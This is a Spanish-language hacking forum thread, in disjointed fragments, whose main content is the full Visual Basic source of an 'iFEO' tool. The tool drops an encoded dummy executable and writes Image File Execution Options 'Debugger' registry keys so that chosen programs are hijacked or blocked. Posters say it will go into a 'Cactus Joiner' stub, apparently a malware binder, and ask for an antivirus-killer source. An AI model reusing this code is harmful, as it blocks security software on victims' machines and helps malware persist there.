Sirve igual si haces un #Put en el primer byte, que por norma es la letra "M" y listos. Todo fichero PE empieza con los carácteres "MZ" al inicio. Pero de igual forma buena tool

Saludos.

Bajo tu petición, te edité el titulo, ok?

Sí, pero ya estoy de vuelta, mala hierba nunca muere...

Pues porque 800€ al mes por ser del staff es poca cosa.

Siiiiiii,

Yo si tengo un sueldo por ser colaborador. No es mucho pero bueno...

Que coño, a veces nos complicamos por placer o que?...


Siendo 192.168.0.50 la máquina remota. Es un comando de Windows que nos devuelve los recursos que comparte y su tipo (impresoras o carpetas). Usa pipes para redireccionar la salida del comando net view y ya lo tienes todo hecho.

Saludos.


Perdona, no te había leído. Eso pasa por responder sin leer los demás mensajes xD

Aquí dejo el source completo del programa iFEO.exe del que he hablado en este post original:

[Método] - iFEO bug (Image File Execution Options)

Aquí esta el source del programa, el módulo principal:

Function DropDummy(ByVal ThePath As String) As Boolean
    On Error Resume Next
 
    File = ""
    File = File & "4D5A0000504500004C0101006A2A58C3z8z040003010B01080001"
    File = File & "000080z4z79z3z0Cz3z79z3z0Cz5z400004z3z04z3z74z3z20z3z"
    File = File & "04z7z0401000088z7z02z19z4B45524E454C33322E646C6Cz4z38"
 
    i = 1
    Tmp = ""
    While i <= Len(File)
        If Mid(File, i, 1) = "z" Then
            a = i + 1
            k = 0
            While Mid(File, a, 1) <> "z"
                k = k * 10 + Mid(File, a, 1)
                a = a + 1
            Wend
            i = a + 1
            For a = 1 To k
                Tmp = Tmp + "00"
            Next
        ElseIf Mid(File, i, 1) <> "z" Then
            Tmp = Tmp & Mid(File, i, 2)
            i = i + 2
        End If
    Wend
 
    Set hFSO = CreateObject("Scripting.FileSystemObject")
    Set hFile = hFSO.CreateTextFile(ThePath, ForWriting)
    i = 1
    While i < Len(Tmp)
        File = Int("&H" & Mid(Tmp, i, 2))
        hFile.Write (Chr(File))
        i = i + 2
    Wend
    hFile.Close
    DoEvents
    DropDummy = True
End Function
 
Function AddFileName(ByVal fName As String, ByVal DummyFile As String)
    On Error Resume Next
    Set WShell = CreateObject("WScript.Shell")
    WShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\" & fName & "\Debugger", Chr(34) & UCase(DummyFile) & Chr(34)
End Function
 
Function DelFileName(ByVal fName As String)
    On Error Resume Next
    Set WShell = CreateObject("WScript.Shell")
    WShell.RegDelete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\" & fName & "\Debugger"
End Function
 

Y su descarga completa:

http://cactus-software.elhacker.net/iFEO Bug.zip

Saludos!!

Perfecto entonces. Lo incluiré en el nuevo stub para el Cactus Joiner 3.0 que liberaré en breve. Te pondré como autor original del source y saldrás en el about del programa. Si tienes pagina web o mail lo puedo incluir también a modo de publicidad.

Saludos. Ya me avisarás.

De nada, para eso estamos, para ayudar. Ahora si no es mucho pedir... publicarás el source de tu Kaspersky-AVKiller?

Saludos.

Mala hierba nunca muere...

No desviemos el tema del post. Saludos!